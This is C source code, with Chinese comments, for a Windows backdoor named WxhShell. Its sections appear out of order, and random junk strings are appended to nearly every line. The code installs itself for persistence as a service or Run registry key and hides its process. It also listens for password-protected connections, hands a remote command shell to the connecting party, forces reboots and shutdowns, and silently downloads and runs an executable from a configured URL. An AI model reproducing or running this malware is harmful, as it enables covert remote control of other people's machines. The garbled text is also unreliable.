    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); _20#2i&  
    if(Boot(SHUTDOWN)) i_][P TH  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); w{k)XY40sW  
    else { `<[6YH_  
    closesocket(wsh); z6py"J@  
    ExitThread(0); lg pW@g  
    } _bD/D!|  
    break; ~afg)[(  
    } ;L&TxO>#J  
  // 获取shell E\m5%bK\B  
  case 's': { M,}|tsL  
    CmdShell(wsh); .@Ut?G  
    closesocket(wsh); pWu LfX  
    ExitThread(0); 34!dYr%  
    break; RI2f`p8k  
  } 'Peni1_  
  // 退出 >R/$1e1Y  
  case 'x': { Z/rTVAs@r  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); #yI.nzA*  
    CloseIt(wsh); PR|R`.QSs  
    break; ,#W  
    } 5<L_|d)0"  
  // 离开 |y20Hi':  
  case 'q': { tRpEF2  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); %zU`XVNN+  
    closesocket(wsh); =uDgzdDyE  
    WSACleanup(); <}6{{&mT4  
    exit(1); Jgu94.;5  
    break; -CH`>  
        } n41@iK2l  
  } wW?,;B'74  
  } XBQ\_2>  
#"fJa:IYG7  
  // 提示信息 ob_I]~^I?|  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); fIF<g@s  
} Vx_rc%'  
  } 1y^K/.5-  
zY+Fl~$S  
  return; >+5?F*`\D*  
} ;V<iL?  
DP/J (>eG  
// shell模块句柄 $hxN hI  
int CmdShell(SOCKET sock) >!6i3E^  
{ )EyI0R]5  
STARTUPINFO si; +jC*'7p@  
ZeroMemory(&si,sizeof(si)); OdI\B   
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; Hx$c N  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; 9;%CHb&  
PROCESS_INFORMATION ProcessInfo; *c[2C  
char cmdline[]="cmd"; S]sk7  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); %7`f{|.  
  return 0; !QmzrX}h  
} ;d$qc<2uA  
VGL#!4wK  
// 自身启动模式 ~"Gf<3^y+  
int StartFromService(void) $N2SfyX7  
{ hC_Vts[v/  
typedef struct ,%bhyww<  
{ U=sh[W  
  DWORD ExitStatus; i~J;G#b  
  DWORD PebBaseAddress; YGc^h(d  
  DWORD AffinityMask; ^% Q|s#w.  
  DWORD BasePriority; z=&z_}M8  
  ULONG UniqueProcessId; \RQ='/H*  
  ULONG InheritedFromUniqueProcessId; }Vu\(~  
}   PROCESS_BASIC_INFORMATION; 6I_Hd>4  
N?dvuB  
PROCNTQSIP NtQueryInformationProcess; {5*|C-WWtG  
XS~- vF  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; C}IbxKl  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; nxQ?bk}*d  
8 6QE /M  
  HANDLE             hProcess; @+U,Nzd  
  PROCESS_BASIC_INFORMATION pbi; H(0q6~|  
UkCnqNvx  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); N^VD=<#T  
  if(NULL == hInst ) return 0; /RLq>#:h**  
`nR%Cav,U  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); t<:D@J]a  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); #0b&^QL  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); b4Y8N"hL%  
RnfXN)+P  
  if (!NtQueryInformationProcess) return 0; 6)\dBOz  
m xw dugr`  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); "HM{b?N  
  if(!hProcess) return 0; OEr:xK2T  
Q4s&E\}  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; =R*Gk4<Y  
v;y0jD#b  
  CloseHandle(hProcess); xa( m5P  
2}}?'PwwT  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); Ja]o GT=e  
if(hProcess==NULL) return 0; ?(KvQK|d4  
R4%P:qM  
HMODULE hMod; O\;=V`z-  
char procName[255]; YC_3n5F%  
unsigned long cbNeeded; #iSFf  
r^$~>!kZ|  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); dEM ?~?  
f7}"lG]q  
  CloseHandle(hProcess); z/&;{J  
TPO1 GF  
if(strstr(procName,"services")) return 1; // 以服务启动 LE?u`i,e=+  
!a1i Un9  
  return 0; // 注册表启动 VS?@y/\In  
} `29TY&p+"  
4aZCFdc  
// 主模块 c(- Mc6  
int StartWxhshell(LPSTR lpCmdLine) MrE<vw@he  
{ B'>*[!A  
  SOCKET wsl; bm&87  
BOOL val=TRUE; A,~Hlw  
  int port=0; )Du -_Z  
  struct sockaddr_in door; .&,[,  
^c9ThV.v  
  if(wscfg.ws_autoins) Install(); J."{<&  
fUag1d  
port=atoi(lpCmdLine); rlok%Rt4Z  
}\v^+scD  
if(port<=0) port=wscfg.ws_port; .BTx&AqU  
!jS4!2'  
  WSADATA data; hN`gB#N3  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; v@ONo?)  
+I|8Q|^SD  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   eNySJf  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); &J"YsY  
  door.sin_family = AF_INET; & %}/AoU  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); %/0gWG  
  door.sin_port = htons(port); 2]jPv0u  
>L2*CV3p  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { <D/al9  
closesocket(wsl); ucg$Ed  
return 1; ].DY"  
} '\p;y7N  
SqB/4P   
  if(listen(wsl,2) == INVALID_SOCKET) { ~ }KzJiL  
closesocket(wsl); {ctwo X[;  
return 1; .+#Lx;})  
} F1|zXg)  
  Wxhshell(wsl); l^ 4OC  
  WSACleanup(); }(i(Ar-  
Mps *}9  
return 0; i|2$8G3  
\3NS>v[1  
} I"!'AI-  
":WYcaSi  
// 以NT服务方式启动 *d*oS7  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) 5]"BRn1*  
{ XK3]AYH  
DWORD   status = 0; <GWR7rUH  
  DWORD   specificError = 0xfffffff; P!+v:'P5f  
okBE|g  
  serviceStatus.dwServiceType     = SERVICE_WIN32; gn5% F5W  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; oW'PO Ar  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; #MTj)P,  
  serviceStatus.dwWin32ExitCode     = 0; 5}<[[}(  
  serviceStatus.dwServiceSpecificExitCode = 0; %<U{K;  
  serviceStatus.dwCheckPoint       = 0; .Vx|'-u  
  serviceStatus.dwWaitHint       = 0; GEE ]Kr  
dXP6"V@iI  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); 9={N4}<  
  if (hServiceStatusHandle==0) return; (DJvi6\H  
cb+y9wA  
status = GetLastError(); QaMDGD  
  if (status!=NO_ERROR) z}5<$K_U  
{ )bW5yG!  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; fcAIg(vW  
    serviceStatus.dwCheckPoint       = 0; ]t/f<jKN^  
    serviceStatus.dwWaitHint       = 0; *caLN,G  
    serviceStatus.dwWin32ExitCode     = status; M'u=H  
    serviceStatus.dwServiceSpecificExitCode = specificError; ,RK3eQ  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); ?vu|o'$T,  
    return; ZO7bSxAN-  
  } Ex,JB +  
O_CT+Ou  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; UD*+"~  
  serviceStatus.dwCheckPoint       = 0; ]V<"(?,K  
  serviceStatus.dwWaitHint       = 0; :o\5K2]:  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); B T7Id  
} Qq0O0U  
E/"SU*Co  
// 处理NT服务事件,比如:启动、停止 `` -k{C#F  
VOID WINAPI NTServiceHandler(DWORD fdwControl) ^g]xU1] *  
{ aYj%w  
switch(fdwControl) XM!M%.0WS  
{ h*'d;_(,  
case SERVICE_CONTROL_STOP: } J;~P 9Y  
  serviceStatus.dwWin32ExitCode = 0; iBHw[X,b  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; t{ H 1u  
  serviceStatus.dwCheckPoint   = 0; STlPT5e.}  
  serviceStatus.dwWaitHint     = 0; .YiaXP  
  { 5+FLSk  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); oWD)+5. ]  
  } 7)PJ:4IqS  
  return; 1 ;Ju]  
case SERVICE_CONTROL_PAUSE: G;2[  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; p"KV*D9b  
  break; h2&y<Eg>  
case SERVICE_CONTROL_CONTINUE: )OUU]MUH  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; c!~T2t  
  break; e?vj+ZlS$f  
case SERVICE_CONTROL_INTERROGATE: i puo}  
  break; IozNjII$:.  
}; thV Tdz  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); v$JLDt_  
} @Z=wE3T@  
QRagz, c  
// 标准应用程序主函数 96)v#B?p  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) >t,O2~  
{ YE_6OLW  
r]-+bR  
// 获取操作系统版本 Bt6xV<jD  
OsIsNt=GetOsVer(); vrO%XvXW  
GetModuleFileName(NULL,ExeFile,MAX_PATH); ]Da4.s*mW  
+U=KXv  
  // 从命令行安装 u7u~  
  if(strpbrk(lpCmdLine,"iI")) Install(); p|s2G~0<  
LT& /0  
  // 下载执行文件 JilKZQmk  
if(wscfg.ws_downexe) { R25-/6_V>  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) XC}1_VWs  
  WinExec(wscfg.ws_filenam,SW_HIDE); :3gFHBFDj  
} (k#t }B[  
* 2%oZX F  
if(!OsIsNt) { [U']kt  
// 如果时win9x,隐藏进程并且设置为注册表启动 bQpoXs0w;  
HideProc(); #8&#E?^d  
StartWxhshell(lpCmdLine); Hi7G/2t@`  
} d1lH[r!Z  
else m>O2t-  
  if(StartFromService()) ZZwBOGVU  
  // 以服务方式启动 T"B8;|  
  StartServiceCtrlDispatcher(DispatchTable); sOC| B  
else |QMT A5  
  // 普通方式启动 Y}ky/?q  
  StartWxhshell(lpCmdLine); @QX4 \  
5 Af?Yxv  
return 0; v'$ykZ!Z  
} uAQg"j  
3m~U(yho  
(Y>U6  
) _ #T c  
=========================================== |/t K-c6J  
JQr36U  
]ci RiMkT(  
Qv74?B@  
| 4%v"U  
Mi;Tn;3er  
" :g/{(#E@Z  
{YfYIt=.  
#include <stdio.h> DSTx#*  
#include <string.h> !Am =v=>  
#include <windows.h> nT)~w s  
#include <winsock2.h> BHIM'24bp  
#include <winsvc.h> 8@Q"YA 3d+  
#include <urlmon.h> 7V |"~%  
o` 2 5  
#pragma comment (lib, "Ws2_32.lib") r"6lLc  
#pragma comment (lib, "urlmon.lib") (s.o  
br10ptEx  
#define MAX_USER   100 // 最大客户端连接数 pM,#wYL  
#define BUF_SOCK   200 // sock buffer zcZ^s v>  
#define KEY_BUFF   255 // 输入 buffer 3k`NNA  
Us*Vn  
#define REBOOT     0   // 重启 DU(X,hDBF  
#define SHUTDOWN   1   // 关机 Scf.4~H 0  
&,F elB0*  
#define DEF_PORT   5000 // 监听端口 40rZ~!}  
;\1b{-' l  
#define REG_LEN     16   // 注册表键长度 5,Qy/t}K  
#define SVC_LEN     80   // NT服务名长度 p~ mN2x]  
C?bXrG\  
// 从dll定义API m2wp m_vV#  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); 5N Fq7&rJ6  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); e-1;dX HL  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); g+VRT, r  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); +~@7" |d  
[ +yGDMLs  
// wxhshell配置信息 K T%i,T  
struct WSCFG { ?#x'_2  
  int ws_port;         // 监听端口 N" 8*FiZ|  
  char ws_passstr[REG_LEN]; // 口令 Bc5YW-QD  
  int ws_autoins;       // 安装标记, 1=yes 0=no 01'y^`\xQ  
  char ws_regname[REG_LEN]; // 注册表键名 |yuGK  
  char ws_svcname[REG_LEN]; // 服务名 V#+126  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 _3*: y/M_  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 L)@`58Eil  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 g6HphRJ5s  
int ws_downexe;       // 下载执行标记, 1=yes 0=no T,A!5V>cX  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" 5R& x{jf$  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 & %@/Dwr  
RT1{+:l  
}; [9'|7fdU  
JvT %R`i  
// default Wxhshell configuration N;e}dwh&  
struct WSCFG wscfg={DEF_PORT, "K/[[wX\b  
    "xuhuanlingzhe", +?ws !LgF  
    1, U;^CU!a  
    "Wxhshell", 3}v0{c  
    "Wxhshell", nYo&x'  
            "WxhShell Service", A&x ab  
    "Wrsky Windows CmdShell Service", tj`tLYOZ@-  
    "Please Input Your Password: ", ]:[)KZ~  
  1, 9<+;hH8J_r  
  "http://www.wrsky.com/wxhshell.exe", )zo#1$C-  
  "Wxhshell.exe" h2im sjf  
    }; Vf@S8H  
mYzsT Uq  
// 消息定义模块 oUnq"]  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; -Y5YCY!`  
char *msg_ws_prompt="\n\r? for help\n\r#>"; d<e+__ 2  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; u Zo]8mV  
char *msg_ws_ext="\n\rExit."; U&tfl/  
char *msg_ws_end="\n\rQuit."; * [iity  
char *msg_ws_boot="\n\rReboot..."; `two|gX0K  
char *msg_ws_poff="\n\rShutdown..."; IptB.bYc  
char *msg_ws_down="\n\rSave to "; ^\xCqVk_R  
FF5tPHB  
char *msg_ws_err="\n\rErr!"; $w 5#2Za  
char *msg_ws_ok="\n\rOK!"; 0[_O+u  
9/@FADh  
char ExeFile[MAX_PATH]; ~Rx~g  
int nUser = 0; BYhmJC|  
HANDLE handles[MAX_USER]; -6.i\ B  
int OsIsNt; {o Q(<&Aw  
Yg\{S<wr  
SERVICE_STATUS       serviceStatus; 4f_ZY5=  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; fU\k?'x_  
fzq'S]+  
// 函数声明 ;$E~ZT4p  
int Install(void); \ SoYx5lf  
int Uninstall(void); KqT#zj  
int DownloadFile(char *sURL, SOCKET wsh); \<0G kp  
int Boot(int flag); (**-"o]HH  
void HideProc(void); ::^qy^n  
int GetOsVer(void); <DA{\'jJ  
int Wxhshell(SOCKET wsl); w !=_  
void TalkWithClient(void *cs); lo IL{2  
int CmdShell(SOCKET sock); v Ie=wf~D`  
int StartFromService(void); __oY:d(~  
int StartWxhshell(LPSTR lpCmdLine); 9b"}CEw  
 60Xl.  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); [qO5~E`;  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); 2ID*U d*  
Gd]5xl HRU  
// 数据结构和表定义 ^+.+I cH  
SERVICE_TABLE_ENTRY DispatchTable[] = C}M0XW  
{ hlSB7D"d  
{wscfg.ws_svcname, NTServiceMain}, (r#5O9|S  
{NULL, NULL} llTQ\7zP  
}; /6i Tq^.%  
Mm:a+T  
// 自我安装   2  
int Install(void) 0{^l2?mgSb  
{ L@d]RMNv  
  char svExeFile[MAX_PATH];  :V5!C$QV  
  HKEY key; 02]8|B(E90  
  strcpy(svExeFile,ExeFile); Fyi?,,  
y{&{=1#  
// 如果是win9x系统,修改注册表设为自启动 |,M#8NOp:  
if(!OsIsNt) { T6/$pJl  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { S\yu%=h  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); + Tgy,oD0  
  RegCloseKey(key); F1{?]>G  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { Mdy0!{d  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); S?,KgMVM  
  RegCloseKey(key); .&* ({UM  
  return 0; =DmPPl{  
    } (IO \+  
  } L XTipWKz  
} V)WIfRs  
else { b7>-aem@I  
l"~h1xk~  
// 如果是NT以上系统,安装为系统服务 (F4dFh  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); On2Vf*G@|  
if (schSCManager!=0) ';fU.uy  
{ pDq^W @Rq  
  SC_HANDLE schService = CreateService ^G7n#  
  ( #V(Hk )  
  schSCManager, I49=ozPP  
  wscfg.ws_svcname, V;[ __w  
  wscfg.ws_svcdisp, V fE^g\Ia  
  SERVICE_ALL_ACCESS, n'x`oI)-  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , >gS5[`xRE  
  SERVICE_AUTO_START, =5s~$C  
  SERVICE_ERROR_NORMAL, JJbM)B@-  
  svExeFile, iC5JU&l  
  NULL, rt\<nwc  
  NULL, >FE QtD~F  
  NULL, +gD)Yd  
  NULL, s6eq?1l 3  
  NULL J4K|KS7   
  ); ek0;8Ds9  
  if (schService!=0) yW6[Fpw  
  { #Ko+_Hm?4  
  CloseServiceHandle(schService); 7Hr4yh[j&  
  CloseServiceHandle(schSCManager); gYH:EuY,  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); pFv[z':&Q  
  strcat(svExeFile,wscfg.ws_svcname); >/OXC+=^4  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { [#3Cg%V  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); T$8$9D_u  
  RegCloseKey(key); mG8  
  return 0;  qzU2H  
    } ;Cp/2A}Xx  
  } [2H(yLwO  
  CloseServiceHandle(schSCManager); N- ?|]4e/  
} 4[f7X4d$  
} Pi]s<3PL  
J!^~KN6[  
return 1; OD@@O9  
} scPq\Qd?O  
% &Q7;?  
// 自我卸载 DHujpZXQ  
int Uninstall(void) E*!zJ,@8  
{ C6=;(=?C  
  HKEY key; 'm p{O  
.5Z@5g`  
if(!OsIsNt) { 8Q)mmkI\=  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { da86Jj=k  
  RegDeleteValue(key,wscfg.ws_regname); $nd-[xV  
  RegCloseKey(key); ~PS2[5yo  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { TXvt0&-  
  RegDeleteValue(key,wscfg.ws_regname); Z=/L6Zb  
  RegCloseKey(key); |~" A:gf  
  return 0; .1?i'8TF  
  } MFdFZkpiV  
} eJ)KE5%n#  
} 9Nbg@5(  
else { TAXkfj  
|9i/)LRXe  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); Z_4H2HseL  
if (schSCManager!=0) uRq#pYn@  
{ 0 c'2rx  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); s? \9i6  
  if (schService!=0) fOjt` ~ToI  
  { d\<aJOi+-  
  if(DeleteService(schService)!=0) { #/sE{jm  
  CloseServiceHandle(schService); 02 c.;ka3  
  CloseServiceHandle(schSCManager); [Jh))DIx  
  return 0; h'q0eqYeu)  
  } AYQh=$)(  
  CloseServiceHandle(schService); ZtK%b+MBP  
  } yLa5tv/  
  CloseServiceHandle(schSCManager); L"vG:Mq@D  
} BHBT=,sI  
} D30Z9_^%:  
LVcy.kU@]  
return 1; Ue\oIi  
} .1q~,}toX  
lG^nT  
// 从指定url下载文件 J<:D~@qq  
int DownloadFile(char *sURL, SOCKET wsh) zSvHvs  
{ y42T.oK8c  
  HRESULT hr; &#\7w85$  
char seps[]= "/"; ~322dG  
char *token; ?;7>`F6ld  
char *file; VqT[ca\  
char myURL[MAX_PATH]; FbNQ  
char myFILE[MAX_PATH]; hnL gsz  
`,]PM) iC  
strcpy(myURL,sURL); !Fs) "?  
  token=strtok(myURL,seps); +A3\Hj&W  
  while(token!=NULL) :qKY@-t7H  
  { 1UWgOCc  
    file=token; $W]guG  
  token=strtok(NULL,seps); ] Lft^,7  
  } %iFIY=W  
e$|)wOwU  
GetCurrentDirectory(MAX_PATH,myFILE); pY5HW2TsY|  
strcat(myFILE, "\\"); ^7<mlr  
strcat(myFILE, file); gM[ J'DMW  
  send(wsh,myFILE,strlen(myFILE),0); p%tg->#L  
send(wsh,"...",3,0); Y-k~ 7{7  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); #EK8Qe_  
  if(hr==S_OK) W 9MZ  
return 0; 1M FpuPJk  
else | (9FV^_  
return 1; $ aBSr1  
m8A1^ R  
} A{T@O5ucj  
m|gd9m $,?  
// 系统电源模块 JJ06f~Iw[  
int Boot(int flag) dp W%LXM_  
{ UC$+&&rO  
  HANDLE hToken; q)y8Bv|  
  TOKEN_PRIVILEGES tkp; mV]g5>Q\  
[:'?}p  
  if(OsIsNt) { \`5u@Nzx  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); ,B>b9,~3a  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); euC,]n.  
    tkp.PrivilegeCount = 1; UeeV+xU  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; }r<^]Q*&p  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); [,X,2  
if(flag==REBOOT) { !9OgA  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) dR{ V,H7N  
  return 0; 6MQ:C'8T&=  
} QP0X8%+p  
else { HaUo+,=  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) V2skr_1  
  return 0; |H@p^.;  
} glIIJ5d|,  
  } RL8 wSK  
  else { ?saVk7Z[|5  
if(flag==REBOOT) { Ka2tr]+s  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) SXF_)1QO\W  
  return 0; aBLb i  
} L#b Q`t  
else { ay[*b_f  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) GQWTQIl]  
  return 0; "A3xX&9-q  
} l_EI7mJ  
} A2S9h,t  
S*:w\nXP~  
return 1; vH8%a8V  
} ]iX$p~riH  
Rj= Om  
// win9x进程隐藏模块 DlO;EH  
void HideProc(void) j)*nE./3  
{ 5nb6k,+E  
6[7k}9`alz  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); IQv>{h}  
  if ( hKernel != NULL ) L@GD$F=<0  
  { {m GWMv  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); "V2$g  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); :E*U*#h/  
    FreeLibrary(hKernel); Z_+No :F7I  
  } 3Re\ T  
5)6%D  
return; lNAHn<ht  
} ij5YV3  
T667&@  
// 获取操作系统版本 `;@4f |N9  
int GetOsVer(void) $S{j}74[  
{ !CKUkoX  
  OSVERSIONINFO winfo; TaG-^bX8B  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); IrC=9%pd$R  
  GetVersionEx(&winfo); 7 i/Cax  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) Bs}>#I  
  return 1; c-d}E!C:  
  else O1,[7F.4g  
  return 0; [*t E HW  
} *Cw2h  
?f&I"\y  
// 客户端句柄模块 AF6'JxG7  
int Wxhshell(SOCKET wsl) (z7#KJ1+Aw  
{ Y2n*T KXI,  
  SOCKET wsh; ,jmG!qJb  
  struct sockaddr_in client; HxaUVg0  
  DWORD myID; oDa{HP\O]W  
ev $eM  
  while(nUser<MAX_USER) 3I+pe;  
{ J7xmf,76w  
  int nSize=sizeof(client); .2xkf@OP  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); ZI7<E  
  if(wsh==INVALID_SOCKET) return 1; Sqs`E[G*  
-}@9lhS,  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); CCV~nf  
if(handles[nUser]==0) tUQ)q  
  closesocket(wsh); Cx[4 /~_<  
else oWmla*nCKL  
  nUser++; /eQn$ZRP,  
  } Pp2 )P7  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); N;Bal/kd2  
'Nh^SbD+_|  
  return 0; bd4q/w4q  
} . +>}},  
,ME9<3Ac  
// 关闭 socket *C\O] r:'  
void CloseIt(SOCKET wsh) }kpkHq"`f  
{ Lg1Usy%  
closesocket(wsh); ,tZwXP{  
nUser--; )c/] 8KU  
ExitThread(0); @_{"ho  
} c'b,=SM  
~"k'T9QBY  
// 客户端请求句柄 D6w0Y:A{.  
void TalkWithClient(void *cs) 7nmo p7  
{ ry'(m M  
Lmb<)YY  
  SOCKET wsh=(SOCKET)cs; \IKr+wlN8  
  char pwd[SVC_LEN]; ]NCOi ?Odx  
  char cmd[KEY_BUFF]; cc[w%jlA#  
char chr[1]; yWzTHW`)Mr  
int i,j; &>o)7H];  
*D,T}N  
  while (nUser < MAX_USER) { E' Bt1 u  
. fIodk  
if(wscfg.ws_passstr) { Q*he%@w  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); P]n ' q  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); =u(fP" |{  
  //ZeroMemory(pwd,KEY_BUFF); yFSL7`p+  
      i=0; 7u zN/LAF  
  while(i<SVC_LEN) { z?PF9QL1  
B !XT:.+  
  // 设置超时 }49?Z3  
  fd_set FdRead; :|a[6Uwl\V  
  struct timeval TimeOut; ydt1ED0Q-  
  FD_ZERO(&FdRead); QUt!fF@t  
  FD_SET(wsh,&FdRead); 157X0&EX  
  TimeOut.tv_sec=8; ZU`"^FQ3A  
  TimeOut.tv_usec=0; W>~V?%F&'  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); X\;y;pmRH  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); P.o W#Je  
.eE5pyw+C  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); Wh,kJis<  
  pwd=chr[0]; @9-qqU@  
  if(chr[0]==0xd || chr[0]==0xa) { 4t":WutC  
  pwd=0; 1 !sYd@iD@  
  break; Yr+&|;DB  
  } /=N`P &R#  
  i++; ?g'l/xuRe  
    } 2,+H;Ypi!  
7P  
  // 如果是非法用户,关闭 socket bu]bfnYi9  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); GB#7w82  
} d^7<l_u~ !  
!Ej<J&e  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); Rh=h{O  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); Jps!,Mflc  
i |t$sBIh  
while(1) { q45n.A6a  
z8o Sh t`+  
  ZeroMemory(cmd,KEY_BUFF); ;.iy{&$  
Px<;-H`  
      // 自动支持客户端 telnet标准   %\A~w3E  
  j=0; ?1YK-T@  
  while(j<KEY_BUFF) { ,q4Y N-3  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); uZfo[_g0S  
  cmd[j]=chr[0]; j0J6ySlY  
  if(chr[0]==0xa || chr[0]==0xd) { 8 =d9*lm  
  cmd[j]=0; \|Mz'*  
  break; di|l?l^l  
  } Cd4G&(=  
  j++; B#=dz,}  
    } rB4]TQ`c  
G]{)yZ'}  
  // 下载文件 y0 xte&  
  if(strstr(cmd,"http://")) { >">-4L17m  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); 139_\=5|U/  
  if(DownloadFile(cmd,wsh)) Y9ru~&/o$  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); hGsY u)  
  else },l3N K  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); }q^CR(h (R  
  } d2pVO]l YZ  
  else { TV}H  
hUqIjcuL4  
